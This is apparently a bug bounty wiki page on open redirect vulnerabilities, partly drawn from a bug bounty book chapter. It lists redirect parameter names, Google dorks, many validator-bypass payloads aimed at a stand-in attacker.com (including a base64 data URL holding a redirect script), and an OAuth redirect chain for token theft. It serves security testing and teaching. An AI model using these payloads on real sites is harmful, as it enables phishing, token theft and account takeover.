Very easy to find, and chains effectively with OAuth for token theft leading to account takeover.
return, return_url, rUrl, cancelUrl, redirect, goto, returnTo, returnUrl, r_url, redirectTo, redirectUrl, dest, continue, next, window, back
\/attacker.com \attacker.com //attacker.com //theirsite@attacker.com /\/attacker.com https://attacker.com%3F.theirsite.com/ ////attacker.com /%0D/attacker.com /%2F/attacker.com /%5Cattacker.com //google%E3%80%82com
Encoding tip: Always encode & ? # / \ as %26 %3F %23 %2F %5C to force the browser to decode after the redirect, bypassing server-side filters that check the raw string.
site:target.com inurl:redirect= site:target.com inurl:return_url= site:target.com inurl:goto=
/login?client_id=123&redirect_url=https://target.com/oauth/callback?goto=https://attacker.com/
The OAuth token is appended to the redirect URL. If the redirect goes to an attacker-controlled domain, the token lands in the attacker's server logs = account takeover.
/attacker.com may be normalized by the browser
* Flawed validator logic – validator checks only if their domain is a substring: https://attacker.com?x=theirsite.com
* Data URLs – data:text/html;base64,…
* URL decoding – try encoded slashes %2F%2Fattacker.com
* Combining techniques – chain encoding + partial domain match
===== Escalation =====
* Chain with OAuth: redirect_uri bypass = token theft = account takeover
* Use as SSRF bypass – open redirect on target used to reach internal services
* Phishing – bounce through trusted domain to attacker page
===== See Also =====
* SSRF Testing
* Bug Chaining
* TBHM Auth & Session
* Methodology Index
====== BBC Ch 7: Open Redirects ======
Merged from Bug Bounty Bootcamp Ch 7 by Vickie Li
===== How Open Redirects Work =====
Sites often redirect users after login, logout, or payment to a URL specified by a parameter or the Referer header. When the destination is not validated, an attacker can redirect the victim to an arbitrary site.
Two mechanisms:
Parameter-based:
<code>
https://example.com/login?redirect=https://example.com/dashboard
</code>
Change the redirect value to an attacker-controlled host and the site sends the user there.
Referer-based:
The application reads the HTTP Referer header to determine where to redirect after an action (login, form submit). Host a page on your server that links to the target – when the user clicks through, the Referer is set to your server, and the app redirects to it after login.
===== Prevention =====
Sites use URL validators to allow only redirects to approved destinations. These use blocklists (reject known-bad patterns) or allowlists (accept only approved destinations). Both are hard to implement correctly and both have well-known bypasses.
===== Hunting for Open Redirects =====
==== Step 1: Find Candidates ====
In Burp proxy history, search for these parameter names:
<code>
redirect redir redirect_uri redirect_url
next return return_to returnTo
destination dest forward url uri
go goto to
</code>
Also watch for 301/302 responses on pages that don't have a redirect parameter – those are referer-based candidates. Check the page that caused the redirect and whether changing the Referer changes the destination.
==== Step 2: Google Dorks ====
<code>
inurl:%3Dhttp site:example.com
inurl:%3D%2F site:example.com
inurl:redir site:example.com
inurl:redirect site:example.com
inurl:redirecturi site:example.com
inurl:redirect_uri site:example.com
inurl:redirecturl site:example.com
inurl:redirect_url site:example.com
inurl:return site:example.com
inurl:returnto site:example.com
inurl:return_to site:example.com
inurl:goto site:example.com
inurl:next site:example.com
</code>
==== Step 3: Test Parameter-Based ====
Replace the redirect value with an external hostname. If the response is a 302 Location to your host, it is vulnerable. If the app validates the domain, move to bypass techniques.
==== Step 4: Test Referer-Based ====
Host a simple HTML page on a server you control that links to the target page:
<code html>
<html><a href=“https://example.com/login”>click</a></html>
</code>
Click the link. If the app redirects you to your server after login, the Referer header is being used as the destination without validation.
===== Bypassing URL Validators =====
==== Browser Autocorrect ====
Browsers normalize unusual URL syntax before sending. Use these to fool validators that parse the raw string:
<code>
https:attacker.com
https;attacker.com
https:\/\/attacker.com
https:\attacker.com
</code>
==== Backslash Normalization ====
<code>
https:\attacker.com
</code>
Some browsers normalize backslashes to forward slashes, so the above becomes https://attacker.com. Validators may see a backslash and reject it as non-URL, but some pass it through.
==== @-Sign Trick ====
URLs allow a username before the host with @. A validator checking for “starts with example.com” is fooled:
<code>
https://example.com@attacker.com
https://attacker.com\@example.com
</code>
The browser connects to attacker.com; everything before @ is treated as credentials.
==== Flawed Allowlist Logic ====
If the validator checks that the URL contains the allowed domain:
<code>
https://example.com.attacker.com
https://attacker.com/example.com
https://attacker.com#example.com
</code>
If the validator checks that the URL starts with the allowed domain:
<code>
https://example.com%252f@attacker.com/example.com
</code>
Double encoding: %25 decodes to %, so %252f decodes to %2f (a forward slash). After one decode pass the validator sees example.com%2f@attacker.com and may approve it. The browser then performs a second decode and connects to attacker.com.
==== Data URLs ====
<code>
data:text/html;base64,PHNjcmlwdD5sb2NhdGlvbj0iaHR0cHM6Ly9hdHRhY2tlci5jb20iOzwvc2NyaXB0Pg==
</code>
The base64 content decodes to:
<code html>
<script>location=“https://attacker.com”;</script>
</code>
Data URLs execute in browser context. If the validator accepts data: URLs, this is both a redirect and an XSS vector.
==== URL Decoding Exploits ====
* Double encoding – encode a character twice: %252f → first pass %2f → second pass /
* Non-ASCII bytes – %ff'' and other high bytes may pass validators that only check for known-bad ASCII
* Unicode lookalikes – Unicode characters that visually resemble ASCII but have different code points; validators may miss them
===== Escalating the Attack =====
Open redirects on their own are low severity. They become high severity when chained:
* Phishing – send victims to a clone of the target site to harvest credentials. The URL starts with the legitimate domain, making it convincing.
* SSRF chaining – if an SSRF vulnerability follows redirects, an open redirect on an allowed host can be used to reach internal services. The SSRF check approves the allowed host; the redirect sends the request to an internal IP.
* OAuth token theft via Referer – if a redirect happens after an OAuth authorization step, and the Referer header is sent to the attacker-controlled redirect target, the OAuth code or token leaks in the Referer to the attacker's server logs.
===== 5-Step Checklist =====
- Search proxy history for redirect parameters and 301/302 responses without explicit redirect params.
- Run Google dorks to find additional redirect parameter occurrences in indexed URLs.
- Test parameter-based: replace redirect value with an external URL. Check the response Location header.
- Test referer-based: host a page linking to the target, browse via your page, observe where you land.
- If validation is present, attempt bypasses: browser autocorrect syntax, @-sign, allowlist logic errors, double encoding, data URLs.